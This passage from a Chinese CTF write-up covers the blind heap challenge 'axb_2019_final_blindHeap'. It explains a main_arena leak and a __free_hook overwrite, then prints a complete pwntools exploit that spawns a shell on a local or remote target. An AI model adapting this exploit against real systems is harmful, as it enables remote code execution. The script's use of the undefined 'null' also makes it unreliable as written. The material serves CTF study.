我们还是利用刚才的思路进行任意地址读,但是在此之前,我们需要先在我们所有申请的chunk后方布置一个大小大于fast_max(一般是0x80)的chunk。那么当我们释放它后,会将main_arena的内容写进fd域和bk域,由于无法得知程序加载位置,我们也不能泄露文件,也就无从得知文件逻辑(不知道到底main_arena的内容会在name中还是description中),我们可以基于第一个Chunk的地址推知其余Chunk的地址,那么我们直接针对其name和description进行读

image-20200107230450644

顺利泄露,我们可以以此为据计算libc基址,经查阅libc,此libc的main_arena地址为0x3C4B78。

篡改free_hook

接下来我们采用改写free_hook的利用方式。

但是我们已经改变了堆结构,无法进行empty (chunk_0),已经没有可控地址了。

此处我们可以在一开始再次提前布置一个Ctrl_Chunk,我们的Chunk 0,可以对两个任意地址进行读写操作,那么我们可以将main_arena的地址放在第一个地址进行泄露,然后将Ctrl_Chunk->cartdata域放在第二个地址进行任意写,那么相当于我们又拥有了两个任意地址进行读写操作。那么构造payload改写free_hook即可。

Final EXP

from pwn import *
all_commodity=1
just_one=2
context.log_level='debug'
context.arch='amd64'

# file_name=ELF("./")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def Add_shopping_cart(sh,product_descript_size,product_descript,product_name_size,product_name):
    sh.recvuntil('Your choice:')
    sh.sendline('1')
    sh.recvuntil('please tell me the desrcription\'s size.\n')
    sh.sendline(str(product_descript_size))
    sh.recvuntil('please tell me the desrcript of commodity.\n')
    sh.sendline(product_descript)
    sh.recvuntil('please tell me the commodity-name\'s size.\n')
    sh.sendline(str(product_name_size))
    sh.recvuntil('please tell me the commodity-name.\n')
    sh.sendline(product_name)

def Modify_product(sh,index,product_name,product_descript):
    sh.recvuntil('Your choice:')
    sh.sendline('2')
    sh.recvuntil('The index is ')
    sh.sendline(str(index))
    sh.recvuntil('please tell me the new commodity\'s name.\n')
    sh.sendline(product_name)
    sh.recvuntil('please tell me the new commodity\'s desrcription.\n')
    sh.sendline(product_descript)

def Display_product(sh,mode,index=null):
    sh.recvuntil('Your choice:')
    sh.sendline('3')
    sh.recvuntil('Your choice:')
    sh.sendline(str(mode))
    if mode is just_one:
        sh.recvuntil('The index is ')
        sh.sendline(str(index))

def Buy_shopping_cart(sh):
    sh.recvuntil('Your choice:')
    sh.sendline('4')

def Delete_shopping_cart(sh,mode,index=null):
    sh.recvuntil('Your choice:')
    sh.sendline('5')
    sh.recvuntil('Your choice:')
    sh.sendline(str(mode))
    if mode is just_one:
        sh.recvuntil('The index is ')
        sh.sendline(str(index))

def Change_name(sh,new_name):
    sh.recvuntil('Your choice:')
    sh.sendline('6')
    sh.recvuntil('Change your name(1~32):')
    sh.sendline(new_name)

def get_sh():
    if args['REMOTE']:
        return remote(sys.argv[1], sys.argv[2])
    else:
        return process("./axb_2019_final_blindHeap")

sh = get_sh()
sh.recvuntil('Enter your name(1~32):')
sh.send('A' * 0x18 + 'Leak--->')
Add_shopping_cart(sh,0x150,'Chunk_0',0x8,'Chunk_0')
Add_shopping_cart(sh,0x100,'Chunk_1',0x100,'Chunk_1')
Add_shopping_cart(sh,0x100,'Chunk_2',0x100,'Chunk_2')
Add_shopping_cart(sh,0x100,'Chunk_3',0x100,'Chunk_3')
Add_shopping_cart(sh,0x100,'/bin/sh\x00',0x100,'/bin/sh\x00')

Delete_shopping_cart(sh,just_one,1)
sh.recvuntil('Your choice:')
sh.sendline('3')
sh.recvuntil('Your choice:')
sh.sendline('1')
sh.recvuntil('Leak--->')
first_chunk_cart_addr=u64(sh.recvuntil('\'s').strip('\'s').ljust(8,'\x00'))
first_chunk_name_addr=first_chunk_cart_addr - 0x10  - 0x10
first_chunk_desc_addr=first_chunk_name_addr - 0x10  - 0x150
leak__chunk_desc_addr=first_chunk_cart_addr + 0x20  + 0x10
leak__chunk_name_addr=leak__chunk_desc_addr + 0x100 + 0x10
leak__chunk_cart_addr=leak__chunk_name_addr + 0x100 + 0x10
ctrol_chunk_desc_addr=leak__chunk_cart_addr + 0x20  + 0x10
ctrol_chunk_name_addr=ctrol_chunk_desc_addr + 0x100 + 0x10
ctrol_chunk_cart_addr=ctrol_chunk_name_addr + 0x100 + 0x10
log.success('Chunk_0 -> name        : '+str(hex(first_chunk_name_addr)))
log.success('Chunk_0 -> description : '+str(hex(first_chunk_desc_addr)))
log.success('Chunk_0 -> cart        : '+str(hex(first_chunk_cart_addr)))
log.success('Chunk_1 -> name        : '+str(hex(leak__chunk_name_addr)))
log.success('Chunk_1 -> description : '+str(hex(leak__chunk_desc_addr)))
log.success('Chunk_1 -> cart        : '+str(hex(leak__chunk_cart_addr)))
log.success('Chunk_2 -> name        : '+str(hex(ctrol_chunk_name_addr)))
log.success('Chunk_2 -> description : '+str(hex(ctrol_chunk_desc_addr)))
log.success('Chunk_2 -> cart        : '+str(hex(ctrol_chunk_cart_addr)))
padding = ( 0x100 - (first_chunk_desc_addr & 0xFF) ) - 0x10
payload = 'A' * padding + p64(0) + p64(0x30) 
payload += p64(0x20) + p64(leak__chunk_name_addr) 
payload += p64(0x20) + p64(ctrol_chunk_cart_addr)
Modify_product(sh,0,'Chunk_0',payload)
Change_name(sh,'A' * 0x18 + 'Leak--->')
Display_product(sh,all_commodity)
sh.recvuntil('commodity\'s name is ')
main_arena_addr = u64(sh.recvuntil('\x0Acommo')[:-6].ljust(8,'\x00'))
log.success('We get main arena address is ' + str(hex(main_arena_addr)))
libc_base = main_arena_addr - 0x3C4B78
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
log.success('We get libc base address is ' + str(hex(libc_base)))
log.success('We get system address is ' + str(hex(system_addr)))
sh.recvline()
payload  = p64(0x20) + p64(free_hook) 
payload += p64(0x20) + p64(free_hook)
Display_product(sh,all_commodity)
Modify_product(sh,0,p64(main_arena_addr),payload)
Display_product(sh,all_commodity)
Modify_product(sh,2,p64(system_addr),p64(system_addr))
Delete_shopping_cart(sh,just_one,3)
sh.interactive()

0x06 其他的盲打系列(探测栈溢出)

题目为GXYCTF的题目,暂无任何复现环境,因此等待更新。

0x07 参考链接

blind-pwn系列总结+创新

安洵杯2019 官方Writeup(Re/Pwn/Crypto) – D0g3

x64 之 __libc_csu_init 通用gadget

__libc_csu_init函数的通用gadget

[Blind Return Oriented Programming (BROP) Attack – 攻击原理](https://wooyun.js.org/drops/Blind Return Oriented Programming (BROP) Attack – 攻击原理.html)

【CTF攻略】格式化字符串blind pwn详细教程

Linux X86 程序启动 – main函数是如何被执行的?

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注